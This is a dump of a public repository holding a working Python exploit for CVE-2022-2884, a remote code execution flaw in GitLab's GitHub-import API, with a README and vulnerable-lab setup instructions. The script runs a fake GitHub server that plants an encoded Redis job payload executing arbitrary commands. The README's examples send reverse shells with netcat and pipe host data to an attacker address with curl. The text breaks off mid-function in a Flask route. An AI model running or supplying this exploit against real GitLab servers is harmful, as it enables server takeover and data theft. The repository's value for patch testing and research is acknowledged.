├── .gitignore ├── LICENSE ├── README.md ├── gitlab_rce_cve-2022-2884.py ├── requirements.txt └── vulnerable_environment_for_testing ├── logs.sh ├── password.sh ├── setup.sh └── teardown.sh /.gitignore: -------------------------------------------------------------------------------- 1 | # Byte-compiled / optimized / DLL files 2 | __pycache__/ 3 | *.py[cod] 4 | *$py.class 5 | 6 | # C extensions 7 | *.so 8 | 9 | # Distribution / packaging 10 | .Python 11 | build/ 12 | develop-eggs/ 13 | dist/ 14 | downloads/ 15 | eggs/ 16 | .eggs/ 17 | lib/ 18 | lib64/ 19 | parts/ 20 | sdist/ 21 | var/ 22 | wheels/ 23 | pip-wheel-metadata/ 24 | share/python-wheels/ 25 | *.egg-info/ 26 | .installed.cfg 27 | *.egg 28 | MANIFEST 29 | 30 | # PyInstaller 31 | # Usually these files are written by a python script from a template 32 | # before PyInstaller builds the exe, so as to inject date/other infos into it. 33 | *.manifest 34 | *.spec 35 | 36 | # Installer logs 37 | pip-log.txt 38 | pip-delete-this-directory.txt 39 | 40 | # Unit test / coverage reports 41 | htmlcov/ 42 | .tox/ 43 | .nox/ 44 | .coverage 45 | .coverage.* 46 | .cache 47 | nosetests.xml 48 | coverage.xml 49 | *.cover 50 | *.py,cover 51 | .hypothesis/ 52 | .pytest_cache/ 53 | 54 | # Translations 55 | *.mo 56 | *.pot 57 | 58 | # Django stuff: 59 | *.log 60 | local_settings.py 61 | db.sqlite3 62 | db.sqlite3-journal 63 | 64 | # Flask stuff: 65 | instance/ 66 | .webassets-cache 67 | 68 | # Scrapy stuff: 69 | .scrapy 70 | 71 | # Sphinx documentation 72 | docs/_build/ 73 | 74 | # PyBuilder 75 | target/ 76 | 77 | # Jupyter Notebook 78 | .ipynb_checkpoints 79 | 80 | # IPython 81 | profile_default/ 82 | ipython_config.py 83 | 84 | # pyenv 85 | .python-version 86 | 87 | # pipenv 88 | # According to pypa/pipenv#598, it is recommended to include Pipfile.lock in version control. 89 | # However, in case of collaboration, if having platform-specific dependencies or dependencies 90 | # having no cross-platform support, pipenv may install dependencies that don't work, or not 91 | # install all needed dependencies. 92 | #Pipfile.lock 93 | 94 | # PEP 582; used by e.g. github.com/David-OConnor/pyflow 95 | __pypackages__/ 96 | 97 | # Celery stuff 98 | celerybeat-schedule 99 | celerybeat.pid 100 | 101 | # SageMath parsed files 102 | *.sage.py 103 | 104 | # Environments 105 | .env 106 | .venv 107 | env/ 108 | venv/ 109 | ENV/ 110 | env.bak/ 111 | venv.bak/ 112 | 113 | # Spyder project settings 114 | .spyderproject 115 | .spyproject 116 | 117 | # Rope project settings 118 | .ropeproject 119 | 120 | # mkdocs documentation 121 | /site 122 | 123 | # mypy 124 | .mypy_cache/ 125 | .dmypy.json 126 | dmypy.json 127 | 128 | # Pyre type checker 129 | .pyre/ 130 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | This is free and unencumbered software released into the public domain. 2 | 3 | Anyone is free to copy, modify, publish, use, compile, sell, or 4 | distribute this software, either in source code form or as a compiled 5 | binary, for any purpose, commercial or non-commercial, and by any 6 | means. 7 | 8 | In jurisdictions that recognize copyright laws, the author or authors 9 | of this software dedicate any and all copyright interest in the 10 | software to the public domain. We make this dedication for the benefit 11 | of the public at large and to the detriment of our heirs and 12 | successors. We intend this dedication to be an overt act of 13 | relinquishment in perpetuity of all present and future rights to this 14 | software under copyright law. 15 | 16 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, 17 | EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF 18 | MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. 19 | IN NO EVENT SHALL THE AUTHORS BE LIABLE FOR ANY CLAIM, DAMAGES OR 20 | OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, 21 | ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR 22 | OTHER DEALINGS IN THE SOFTWARE. 23 | 24 | For more information, please refer to 25 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # gitlab_rce_cve-2022-2884 2 | 3 | This is a Python3 program that exploits GitLab authenticated RCE vulnerability known as CVE-2022-2884. 4 | 5 | ## DISCLAIMER 6 | 7 | **This tool is intended for security engineers and appsec people for security assessments. Please use this tool responsibly. I do not take responsibility for the way in which any one uses this application. I am NOT responsible for any damages caused or any crimes committed by using this tool.** 8 | 9 | ## Vulnerability info 10 | 11 | * **CVE-ID**: CVE-2022-2884 12 | * **Link**: [https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-2884](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-2884) 13 | * **Description**: A vulnerability in GitLab CE/EE affecting all versions from 11.3.4 prior to 15.1.5, 15.2 to 15.2.3, 15.3 to 15.3 to 15.3.1 allows an authenticated user to achieve remote code execution via the Import from GitHub API endpoint. 14 | * **Vendor link**: [https://about.gitlab.com/releases/2022/08/22/critical-security-release-gitlab-15-3-1-released/](https://about.gitlab.com/releases/2022/08/22/critical-security-release-gitlab-15-3-1-released/) 15 | 16 | ## Help 17 | 18 | ``` 19 | $ ./gitlab_rce_cve-2022-2884.py --help 20 | usage: gitlab_rce_cve-2022-2884.py [-h] -u URL -pt PRIVATE_TOKEN [-tn TARGET_NAMESPACE] -a ADDRESS [-p PORT] [-s] -c COMMAND [-d DELAY] [-v] 21 | 22 | Exploit for GitLab authenticated RCE vulnerability known as CVE-2022-2884. - v1.0 (2022-12-25) 23 | 24 | optional arguments: 25 | -h, --help show this help message and exit 26 | -u URL, --url URL URL of the victim GitLab 27 | -pt PRIVATE_TOKEN, --private-token PRIVATE_TOKEN 28 | private token of GitLab 29 | -tn TARGET_NAMESPACE, --target-namespace TARGET_NAMESPACE 30 | target namespace of GitLab (default is 'root') 31 | -a ADDRESS, --address ADDRESS 32 | IP address of the attacker machine 33 | -p PORT, --port PORT TCP port of the attacker machine (default is 1337) 34 | -s, --https set if the attacker machine is exposed via HTTPS 35 | -c COMMAND, --command COMMAND 36 | the command to execute 37 | -d DELAY, --delay DELAY 38 | seconds of delay to wait for the exploit to complete 39 | -v, --verbose verbose mode 40 | ``` 41 | 42 | ## Examples 43 | 44 | ``` 45 | ./gitlab_rce_cve-2022-2884.py -u http://victim.gitlab.server -pt "glpat-YourGitLabPrivateToken" -a 1.2.3.4 -c "id | nc 1.2.3.4 6669" 46 | ``` 47 | 48 | ``` 49 | ./gitlab_rce_cve-2022-2884.py -u http://victim.gitlab.server -pt "glpat-YourGitLabPrivateToken" -a 1.2.3.4 -c "nc 1.2.3.4 6669 -e /bin/bash" 50 | ``` 51 | 52 | ``` 53 | ./gitlab_rce_cve-2022-2884.py -u http://victim.gitlab.server -pt "glpat-YourGitLabPrivateToken" -a 1.2.3.4 -c "(hostname; ps aux) | curl 1.2.3.4:6669 -X POST --data-binary @- " 54 | ``` 55 | 56 | ``` 57 | ./gitlab_rce_cve-2022-2884.py -u http://victim.gitlab.server -pt "glpat-YourGitLabPrivateToken" -a 1.2.3.4 -c "echo 'test' > /tmp/test" 58 | ``` 59 | 60 | ``` 61 | ./gitlab_rce_cve-2022-2884.py -u http://victim.gitlab.server -pt "glpat-YourGitLabPrivateToken" -a 1.2.3.4 -c "nc 1.2.3.4 6669 -e /bin/bash" -d 180 62 | ``` 63 | 64 | ``` 65 | ./gitlab_rce_cve-2022-2884.py -v -u http://victim.gitlab.server -pt "glpat-YourGitLabPrivateToken" -a 1.2.3.4 -p 1337 -c "nc 1.2.3.4 6669 -e /bin/bash" 66 | ``` 67 | 68 | ``` 69 | ./gitlab_rce_cve-2022-2884.py -u http://victim.gitlab.server -pt "glpat-YourGitLabPrivateToken" -tn root -a 1.2.3.4 -p 1337 -s -c "nc 1.2.3.4 6669 -e /bin/bash" 70 | ``` 71 | 72 | ## Vulnerable application 73 | 74 | A vulnerable application can be setup with the following commands. 75 | 76 | ``` 77 | export GITLAB_HOME=/srv/gitlab 78 | docker run --detach --rm \ 79 | --hostname gitlab.example.com \ 80 | --publish 443:443 --publish 80:80 --publish 22:22 \ 81 | --name vuln-gitlab \ 82 | --volume $GITLAB_HOME/config:/etc/gitlab \ 83 | --volume $GITLAB_HOME/logs:/var/log/gitlab \ 84 | --volume $GITLAB_HOME/data:/var/opt/gitlab \ 85 | --shm-size 256m \ 86 | gitlab/gitlab-ce:15.3.0-ce.0 87 | ``` 88 | 89 | It might take a while before the Docker container starts to respond to queries. Then connect to `http://localhost`. 90 | 91 | Sign in with the username `root` and the password from the following command. 92 | 93 | ``` 94 | docker exec -it vuln-gitlab grep 'Password:' /etc/gitlab/initial_root_password 95 | ``` 96 | 97 | To test the exploit locally, you have to add `--network="host"` to the `docker run` command and to remove constraints for outbound requests on GitLab: 98 | * connect to [http://localhost/admin/application_settings/network](http://localhost/admin/application_settings/network); 99 | * expand "*Outbound requests*" section; 100 | * tick "*Allow requests to the local network from web hooks and services*"; 101 | * add `127.0.0.1` to the "*Local IP addresses and domain names that hooks and services may access*" textbox; 102 | * save changes. 103 | 104 | The prerequisite of the exploit is to have a private token on GitLab: 105 | * connect to [http://localhost/-/profile/personal_access_tokens](http://localhost/-/profile/personal_access_tokens); 106 | * generate a token with at least `api` scope. 107 | 108 | ## Authors 109 | 110 | * **Antonio Francesco Sardella** - *main implementation* - [m3ssap0](https://github.com/m3ssap0) 111 | 112 | ## License 113 | 114 | See the [LICENSE](LICENSE) file for details. 115 | 116 | ## Acknowledgments 117 | 118 | * [yvvdwf](https://hackerone.com/reports/1672388), the security researcher who discovered the vulnerability. 119 | -------------------------------------------------------------------------------- /gitlab_rce_cve-2022-2884.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | # Exploit Title: GitLab < 15.3.1, 15.2.3, 15.1.5 - Remote Code Execution (Authenticated) via GitHub import API 4 | # Date: 2022-12-25 5 | # Exploit Author: Antonio Francesco Sardella 6 | # Vendor Homepage: https://about.gitlab.com/ 7 | # Software Link: https://about.gitlab.com/install/ 8 | # Version: GitLab CE/EE, all versions from 11.3.4 prior to 15.1.5, 15.2 to 15.2.3, 15.3 to 15.3.1 9 | # Tested on: 'gitlab/gitlab-ce:15.3.0-ce.0' Docker container (vulnerable application), 'Ubuntu 20.04.5 LTS' with 'Python 3.8.10' (script execution) 10 | # CVE: CVE-2022-2884 11 | # Category: WebApps 12 | # Repository: https://github.com/m3ssap0/gitlab_rce_cve-2022-2884 13 | # Credits: yvvdwf (https://hackerone.com/reports/1672388) 14 | 15 | # This is a Python3 program that exploits GitLab authenticated RCE vulnerability known as CVE-2022-2884. 16 | 17 | # A vulnerability in GitLab CE/EE affecting all versions from 11.3.4 prior to 15.1.5, 15.2 to 15.2.3, 18 | # 15.3 to 15.3.1 allows an authenticated user to achieve remote code execution 19 | # via the Import from GitHub API endpoint. 20 | 21 | # https://about.gitlab.com/releases/2022/08/22/critical-security-release-gitlab-15-3-1-released/ 22 | 23 | # DISCLAIMER: This tool is intended for security engineers and appsec people for security assessments. 24 | # Please use this tool responsibly. I do not take responsibility for the way in which any one uses 25 | # this application. I am NOT responsible for any damages caused or any crimes committed by using this tool. 26 | 27 | import argparse 28 | import logging 29 | import validators 30 | import random 31 | import string 32 | import requests 33 | import time 34 | import base64 35 | import sys 36 | 37 | from flask import Flask, current_app, request 38 | from multiprocessing import Process 39 | 40 | VERSION = "v1.0 (2022-12-25)" 41 | DEFAULT_LOGGING_LEVEL = logging.INFO 42 | app = Flask(__name__) 43 | 44 | def parse_arguments(): 45 | parser = argparse.ArgumentParser( 46 | description=f"Exploit for GitLab authenticated RCE vulnerability known as CVE-2022-2884. - {VERSION}" 47 | ) 48 | parser.add_argument("-u", "--url", 49 | required=True, 50 | help="URL of the victim GitLab") 51 | parser.add_argument("-pt", "--private-token", 52 | required=True, 53 | help="private token of GitLab") 54 | parser.add_argument("-tn", "--target-namespace", 55 | required=False, 56 | default="root", 57 | help="target namespace of GitLab (default is 'root')") 58 | parser.add_argument("-a", "--address", 59 | required=True, 60 | help="IP address of the attacker machine") 61 | parser.add_argument("-p", "--port", 62 | required=False, 63 | type=int, 64 | default=1337, 65 | help="TCP port of the attacker machine (default is 1337)") 66 | parser.add_argument("-s", "--https", 67 | action="store_true", 68 | required=False, 69 | default=False, 70 | help="set if the attacker machine is exposed via HTTPS") 71 | parser.add_argument("-c", "--command", 72 | required=True, 73 | help="the command to execute") 74 | parser.add_argument("-d", "--delay", 75 | type=float, 76 | required=False, 77 | help="seconds of delay to wait for the exploit to complete") 78 | parser.add_argument("-v", "--verbose", 79 | action="store_true", 80 | required=False, 81 | default=False, 82 | help="verbose mode") 83 | return parser.parse_args() 84 | 85 | def validate_input(args): 86 | try: 87 | validators.url(args.url) 88 | except validators.ValidationFailure: 89 | raise ValueError("Invalid target URL!") 90 | 91 | if len(args.private_token.strip()) < 1 and not args.private_token.strip().startswith("glpat-"): 92 | raise ValueError("Invalid GitLab private token!") 93 | 94 | if len(args.target_namespace.strip()) < 1: 95 | raise ValueError("Invalid GitLab target namespace!") 96 | 97 | try: 98 | validators.ipv4(args.address) 99 | except validators.ValidationFailure: 100 | raise ValueError("Invalid attacker IP address!") 101 | 102 | if args.port < 1 or args.port > 65535: 103 | raise ValueError("Invalid attacker TCP port!") 104 | 105 | if len(args.command.strip()) < 1: 106 | raise ValueError("Invalid command!") 107 | 108 | if args.delay is not None and args.delay <= 0.0: 109 | raise ValueError("Invalid delay!") 110 | 111 | def generate_random_string(length): 112 | letters = string.ascii_lowercase + string.ascii_uppercase + string.digits 113 | return ''.join(random.choice(letters) for i in range(length)) 114 | 115 | def generate_random_lowercase_string(length): 116 | letters = string.ascii_lowercase 117 | return ''.join(random.choice(letters) for i in range(length)) 118 | 119 | def generate_random_number(length): 120 | letters = string.digits 121 | result = "0" 122 | while result.startswith("0"): 123 | result = ''.join(random.choice(letters) for i in range(length)) 124 | return result 125 | 126 | def base64encode(to_encode): 127 | return base64.b64encode(to_encode.encode("ascii")).decode("ascii") 128 | 129 | def send_request(url, private_token, target_namespace, address, port, is_https, fake_repo_id): 130 | logging.info("Sending request to target GitLab.") 131 | protocol = "http" 132 | if is_https: 133 | protocol += "s" 134 | headers = { 135 | "Content-Type": "application/json", 136 | "PRIVATE-TOKEN": private_token, 137 | "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 138 | } 139 | fake_personal_access_token = "ghp_" + generate_random_string(36) 140 | new_name = generate_random_lowercase_string(8) 141 | logging.debug("Random generated parameters of the request:") 142 | logging.debug(f" fake_repo_id = {fake_repo_id}") 143 | logging.debug(f"fake_personal_access_token = {fake_personal_access_token}") 144 | logging.debug(f" new_name = {new_name}") 145 | payload = { 146 | "personal_access_token": fake_personal_access_token, 147 | "repo_id": fake_repo_id, 148 | "target_namespace": target_namespace, 149 | "new_name": new_name, 150 | "github_hostname": f"{protocol}://{address}:{port}" 151 | } 152 | target_endpoint = f"{url}" 153 | if not target_endpoint.endswith("/"): 154 | target_endpoint = f"{target_endpoint}/" 155 | target_endpoint = f"{target_endpoint}api/v4/import/github" 156 | try: 157 | r = requests.post(target_endpoint, headers=headers, json=payload) 158 | logging.debug("Response:") 159 | logging.debug(f"status_code = {r.status_code}") 160 | logging.debug(f" text = {r.text}") 161 | logging.info(f"Request sent to target GitLab (HTTP {r.status_code}).") 162 | if r.status_code != 201: 163 | logging.fatal("Wrong response received from the target GitLab.") 164 | logging.debug(f" text = {r.text}") 165 | raise Exception("Wrong response received from the target GitLab.") 166 | except: 167 | logging.fatal("Error in contacting the target GitLab.") 168 | raise Exception("Error in contacting the target GitLab.") 169 | 170 | def is_server_alive(address, port, is_https): 171 | protocol = "http" 172 | if is_https: 173 | protocol += "s" 174 | try: 175 | r = requests.get(f"{protocol}://{address}:{port}/") 176 | if r.status_code == 200 and "The server is running." in r.text: 177 | return True 178 | else: 179 | return False 180 | except: 181 | return False 182 | 183 | def start_fake_github_server(address, port, is_https, command, fake_repo_id): 184 | app.config["address"] = address 185 | app.config["port"] = port 186 | protocol = "http" 187 | if is_https: 188 | protocol += "s" 189 | app.config["attacker_server"] = f"{protocol}://{address}:{port}" 190 | app.config["command"] = command 191 | app.config["fake_user"] = generate_random_lowercase_string(8) 192 | app.config["fake_user_id"] = generate_random_number(8) 193 | app.config["fake_repo"] = generate_random_lowercase_string(8) 194 | app.config["fake_repo_id"] = fake_repo_id 195 | app.config["fake_issue_id"] = generate_random_number(9) 196 | app.run("0.0.0.0", port) 197 | 198 | def encode_command(command): 199 | encoded_command = "" 200 | for c in command: 201 | encoded_command += ("<< " + str(ord(c)) + ".chr ") 202 | 203 | encoded_command += "<<" 204 | logging.debug(f"encoded_command = {encoded_command}") 205 | return encoded_command 206 | 207 | def generate_rce_payload(command): 208 | logging.debug("Crafting RCE payload:") 209 | logging.debug(f" command = {command}") 210 | encoded_command = encode_command(command) # Useful in order to prevent escaping hell... 211 | rce_payload = f"lpush resque:gitlab:queue:system_hook_push \"{{\\\"class\\\":\\\"PagesWorker\\\",\\\"args\\\":[\\\"class_eval\\\",\\\"IO.read('| ' {encoded_command} ' ')\\\"], \\\"queue\\\":\\\"system_hook_push\\\"}}\"" 212 | logging.debug(f" rce_payload = {rce_payload}") 213 | return rce_payload 214 | 215 | def generate_user_response(attacker_server, fake_user, fake_user_id): 216 | response = { 217 | "avatar_url": f"{attacker_server}/avatars/{fake_user_id}", 218 | "events_url": f"{attacker_server}/users/{fake_user}/events{{/privacy}}", 219 | "followers_url": f"{attacker_server}/users/{fake_user}/followers", 220 | "following_url": f"{attacker_server}/users/{fake_user}/following{{/other_user}}", 221 | "gists_url": f"{attacker_server}/users/{fake_user}/gists{{/gist_id}}", 222 | "gravatar_id": "", 223 | "html_url": f"{attacker_server}/{fake_user}", 224 | "id": int(fake_user_id), 225 | "login": f"{fake_user}", 226 | "node_id": base64encode(f"04:User{fake_user_id}"), 227 | "organizations_url": f"{attacker_server}/users/{fake_user}/orgs", 228 | "received_events_url": f"{attacker_server}/users/{fake_user}/received_events", 229 | "repos_url": f"{attacker_server}/users/{fake_user}/repos", 230 | "site_admin": False, 231 | "starred_url": f"{attacker_server}/users/{fake_user}/starred{{/owner}}{{/repo}}", 232 | "subscriptions_url": f"{attacker_server}/users/{fake_user}/subscriptions", 233 | "type": "User", 234 | "url": f"{attacker_server}/users/{fake_user}" 235 | } 236 | return response 237 | 238 | def generate_user_full_response(attacker_server, fake_user, fake_user_id): 239 | partial = generate_user_response(attacker_server, fake_user, fake_user_id) 240 | others = { 241 | "bio": None, 242 | "blog": "", 243 | "company": None, 244 | "created_at": "2020-08-21T14:35:46Z", 245 | "email": None, 246 | "followers": 2, 247 | "following": 0, 248 | "hireable": None, 249 | "location": None, 250 | "name": None, 251 | "public_gists": 0, 252 | "public_repos": 0, 253 | "twitter_username": None, 254 | "updated_at": "2022-08-08T12:11:40Z", 255 | } 256 | response = {**partial, **others} 257 | return response 258 | 259 | def generate_repo_response(address, port, attacker_server, fake_user, fake_user_id, fake_repo, repo_id): 260 | response = { 261 | "allow_auto_merge": False, 262 | "allow_forking": True, 263 | "allow_merge_commit": True, 264 | "allow_rebase_merge": True, 265 | "allow_squash_merge": True, 266 | "allow_update_branch": False, 267 | "archive_url": f"{attacker_server}/repos/{fake_user}/{fake_repo}/{{archive_format}}{{/ref}}", 268 | "archived": False, 269 | "assignees_url": f"{attacker_server}/repos/{fake_user}/{fake_repo}/assignees{{/user}}", 270 | "blobs_url": f"{attacker_server}/repos/{fake_user}/{fake_repo}/git/blobs{{/sha}}", 271 | "branches_url": f"{attacker_server}/repos/{fake_user}/{fake_repo}/branches{{/branch}}", 272 | "clone_url": f"{attacker_server}/{fake_user}/{fake_repo}.git", 273 | "collaborators_url": f"{attacker_server}/repos/{fake_user}/{fake_repo}/collaborators{{/collaborator}}", 274 | "comments_url": f"{attacker_server}/repos/{fake_user}/{fake_repo}/comments{{/number}}", 275 | "commits_url": f"{attacker_server}/repos/{fake_user}/{fake_repo}/commits{{/sha}}", 276 | "compare_url": f"{attacker_server}/repos/{fake_user}/{fake_repo}/compare/{{base}}...{{head}}", 277 | "contents_url": f"{attacker_server}/repos/{fake_user}/{fake_repo}/contents/{{+path}}", 278 | "contributors_url": f"{attacker_server}/repos/{fake_user}/{fake_repo}/contributors", 279 | "created_at": "2021-04-09T13:55:55Z", 280 | "default_branch": "main", 281 | "delete_branch_on_merge": False, 282 | "deployments_url": f"{attacker_server}/repos/{fake_user}/{fake_repo}/deployments", 283 | "description": None, 284 | "disabled": False, 285 | "downloads_url": f"{attacker_server}/repos/{fake_user}/{fake_repo}/downloads", 286 | "events_url": f"{attacker_server}/repos/{fake_user}/{fake_repo}/events", 287 | "fork": False, 288 | "forks": 1, 289 | "forks_count": 1, 290 | "forks_url": f"{attacker_server}/repos/{fake_user}/{fake_repo}/forks", 291 | "full_name": f"{fake_user}/{fake_repo}", 292 | "git_commits_url": f"{attacker_server}/repos/{fake_user}/{fake_repo}/git/commits{{/sha}}", 293 | "git_refs_url": f"{attacker_server}/repos/{fake_user}/{fake_repo}/git/refs{{/sha}}", 294 | "git_tags_url": f"{attacker_server}/repos/{fake_user}/{fake_repo}/git/tags{{/sha}}", 295 | "git_url": f"git://{address}:{port}/{fake_user}/{fake_repo}.git", 296 | "has_downloads": True, 297 | "has_issues": True, 298 | "has_pages": False, 299 | "has_projects": True, 300 | "has_wiki": True, 301 | "homepage": None, 302 | "hooks_url": f"{attacker_server}/repos/{fake_user}/{fake_repo}/hooks", 303 | "html_url": f"{attacker_server}/{fake_user}/{fake_repo}", 304 | "id": int(repo_id), 305 | "is_template": False, 306 | "issue_comment_url": f"{attacker_server}/repos/{fake_user}/{fake_repo}/issues/comments{{/number}}", 307 | "issue_events_url": f"{attacker_server}/repos/{fake_user}/{fake_repo}/issues/events{{/number}}", 308 | "issues_url": f"{attacker_server}/repos/{fake_user}/{fake_repo}/issues{{/number}}", 309 | "keys_url": f"{attacker_server}/repos/{fake_user}/{fake_repo}/keys{{/key_id}}", 310 | "labels_url": f"{attacker_server}/repos/{fake_user}/{fake_repo}/labels{{/name}}", 311 | "language": "Python", 312 | "languages_url": f"{attacker_server}/repos/{fake_user}/{fake_repo}/languages", 313 | "license": None, 314 | "merge_commit_message": "Message", 315 | "merge_commit_title": "Title", 316 | "merges_url": f"{attacker_server}/repos/{fake_user}/{fake_repo}/merges", 317 | "milestones_url": f"{attacker_server}/repos/{fake_user}/{fake_repo}/milestones{{/number}}", 318 | "mirror_url": None, 319 | "name": f"{fake_repo}", 320 | "network_count": 1, 321 | "node_id": base64encode(f"010:Repository{repo_id}"), 322 | "notifications_url": f"{attacker_server}/repos/{fake_user}/{fake_repo}/notifications{{?since,all,participating}}", 323 | "open_issues": 4, 324 | "open_issues_count": 4, 325 | "owner": generate_user_response(attacker_server, fake_user, fake_user_id), 326 | "permissions": { 327 | "admin": True, 328 | "maintain": True, 329 | "pull": True, 330 | "push": True, 331 | "triage": True 332 | }, 333 | "private": True, 334 | "pulls_url": f"{attacker_server}/repos/{fake_user}/{fake_repo}/pulls{{/number}}", 335 | "pushed_at": "2022-08-14T15:36:21Z", 336 | "releases_url": f"{attacker_server}/repos/{fake_user}/{fake_repo}/releases{{/id}}", 337 | "size": 3802, 338 | "squash_merge_commit_message": "Message", 339 | "squash_merge_commit_title": "Title", 340 | "ssh_url": f"git@{address}:{fake_user}/{fake_repo}.git", 341 | "stargazers_count": 0, 342 | "stargazers_url": f"{attacker_server}/repos/{fake_user}/{fake_repo}/stargazers", 343 | "statuses_url": f"{attacker_server}/repos/{fake_user}/{fake_repo}/statuses/{{sha}}", 344 | "subscribers_count": 1, 345 | "subscribers_url": f"{attacker_server}/repos/{fake_user}/{fake_repo}/subscribers", 346 | "subscription_url": f"{attacker_server}/repos/{fake_user}/{fake_repo}/subscription", 347 | "svn_url": f"{attacker_server}/{fake_user}/{fake_repo}", 348 | "tags_url": f"{attacker_server}/repos/{fake_user}/{fake_repo}/tags", 349 | "teams_url": f"{attacker_server}/repos/{fake_user}/{fake_repo}/teams", 350 | "temp_clone_token": generate_random_string(32), 351 | "topics": [], 352 | "trees_url": f"{attacker_server}/repos/{fake_user}/{fake_repo}/git/trees{{/sha}}", 353 | "updated_at": "2022-06-10T15:12:53Z", 354 | "url": f"{attacker_server}/repos/{fake_user}/{fake_repo}", 355 | "use_squash_pr_title_as_default": False, 356 | "visibility": "private", 357 | "watchers": 0, 358 | "watchers_count": 0, 359 | "web_commit_signoff_required": False 360 | } 361 | return response 362 | 363 | def generate_issue_response(attacker_server, fake_user, fake_user_id, fake_repo, fake_issue_id, command): 364 | rce_payload = generate_rce_payload(command) 365 | response = [ 366 | { 367 | "active_lock_reason": None, 368 | "assignee": None, 369 | "assignees": [], 370 | "author_association": "OWNER", 371 | "body": "hn-issue description", 372 | "closed_at": None, 373 | "comments": 1, 374 | "comments_url": f"{attacker_server}/repos/{fake_user}/{fake_repo}/issues/3/comments", 375 | "created_at": "2021-07-23T13:16:55Z", 376 | "events_url": f"{attacker_server}/repos/{fake_user}/{fake_repo}/issues/3/events", 377 | "html_url": f"{attacker_server}/{fake_user}/{fake_repo}/issues/3", 378 | "id": int(fake_issue_id), 379 | "labels": [], 380 | "labels_url": f"{attacker_server}/repos/{fake_user}/{fake_repo}/issues/3/labels{{/name}}", 381 | "locked": False, 382 | "milestone": None, 383 | "node_id": base64encode(f"05:Issue{fake_issue_id}"), 384 | "_number": 1, 385 | "number": {"to_s": {"bytesize": 2, "to_s": f"1234{rce_payload}" }}, 386 | "performed_via_github_app": None, 387 | "reactions": { 388 | "+1": 0, 389 | "-1": 0, 390 | "confused": 0, 391 | "eyes": 0, 392 | "heart": 0, 393 | "hooray": 0, 394 | "laugh": 0, 395 | "rocket": 0, 396 | "total_count": 0, 397 | "url": f"{attacker_server}/repos/{fake_user}/{fake_repo}/issues/3/reactions" 398 | }, 399 | "repository_url": f"{attacker_server}/repos/{fake_user}/{fake_repo}/test", 400 | "state": "open", 401 | "state_reason": None, 402 | "timeline_url": f"{attacker_server}/repos/{fake_user}/{fake_repo}/issues/3/timeline", 403 | "title": f"{fake_repo}", 404 | "updated_at": "2022-08-14T15:37:08Z", 405 | "url": f"{attacker_server}/repos/{fake_user}/{fake_repo}/issues/3", 406 | "user": generate_user_response(attacker_server, fake_user, fake_user_id) 407 | } 408 | ] 409 | return response 410 | 411 | @app.before_request 412 | def received_request(): 413 | logging.debug(f"Received request:") 414 | logging.debug(f" url = {request.url}") 415 | logging.debug(f"headers = {request.headers}") 416 | 417 | @app.after_request 418 | def add_headers(response): 419 | response.headers["content-type"] = "application/json; charset=utf-8" 420 | response.headers["x-ratelimit-limit"] = "5000" 421 | response.headers["x-ratelimit-remaining"] = "4991" 422 | response.headers["x-ratelimit-reset"] = "1660136749" 423 | response.headers["x-ratelimit-used"] = "9" 424 | response.headers["x-ratelimit-resource"] = "core" 425 | return response 426 | 427 | @app.route("/") 428 | def index(): 429 | return "The server is running." 430 | 431 | @app.route("/api/v3/rate_limit") 432 | def api_rate_limit(): 433 | response = { 434 | "resources": { 435 | "core": { 436 | "limit": 5000, 437 | "used": 9, 438 | "remaining": 4991, 439 | "reset": 1660136749 440 | }, 441 | "search": { 442 | "limit": 30, 443 | "used": 0, 444 | "remaining": 30, 445 | "reset": 1660133589 446 | }, 447 | "graphql": { 448 | "limit": 5000, 449 | "used": 0, 450 | "remaining": 5000, 451 | "reset": 1660137129 452 | }, 453 | "integration_manifest": { 454 | "limit": 5000, 455 | "used": 0, 456 | "remaining": 5000, 457 | "reset": 1660137129 458 | }, 459 | "source_import": { 460 | "limit": 100, 461 | "used": 0, 462 | "remaining": 100, 463 | "reset": 1660133589 464 | }, 465 | "code_scanning_upload": { 466 | "limit": 1000, 467 | "used": 0, 468 | "remaining": 1000, 469 | "reset": 1660137129 470 | }, 471 | "actions_runner_registration": { 472 | "limit": 10000, 473 | "used": 0, 474 | "remaining": 10000, 475 | "reset": 1660137129 476 | }, 477 | "scim": { 478 | "limit": 15000, 479 | "used": 0, 480 | "remaining": 15000, 481 | "reset": 1660137129 482 | }, 483 | "dependency_snapshots": { 484 | "limit": 100, 485 | "used": 0, 486 | "remaining": 100, 487 | "reset": 1660133589 488 | } 489 | }, 490 | "rate": { 491 | "limit": 5000, 492 | "used": 9, 493 | "remaining": 4991, 494 | "reset": 1660136749 495 | } 496 | } 497 | return response 498 | 499 | @app.route("/api/v3/repositories/") 500 | @app.route("/repositories/") 501 | def api_repositories_repo_id(repo_id: int): 502 | address = current_app.config["address"] 503 | port = current_app.config["port"] 504 | attacker_server = current_app.config["attacker_server"] 505 | fake_user = current_app.config["fake_user"] 506 | fake_user_id = current_app.config["fake_user_id"] 507 | fake_repo = current_app.config["fake_repo"] 508 | response = generate_repo_response(address, port, attacker_server, fake_user, fake_user_id, fake_repo, repo_id) 509 | return response 510 | 511 | @app.route("/api/v3/repos//") 512 | def api_repositories_repo_user_repo(user: string, repo: string): 513 | address = current_app.config["address"] 514 | port = current_app.config["port"] 515 | attacker_server = current_app.config["attacker_server"] 516 | fake_user_id = current_app.config["fake_user_id"] 517 | fake_repo_id = current_app.config["fake_repo_id"] 518 | response = generate_repo_response(address, port, attacker_server, user, fake_user_id, repo, fake_repo_id) 519 | return response 520 | 521 | @app.route("/api/v3/repos///issues") 522 | def api_repositories_repo_user_repo_issues(user: string, repo: string): 523 | attacker_server = current_app.config["attacker_server"] 524 | fake_user_id = current_app.config["fake_user_id"] 525 | fake_issue_id = 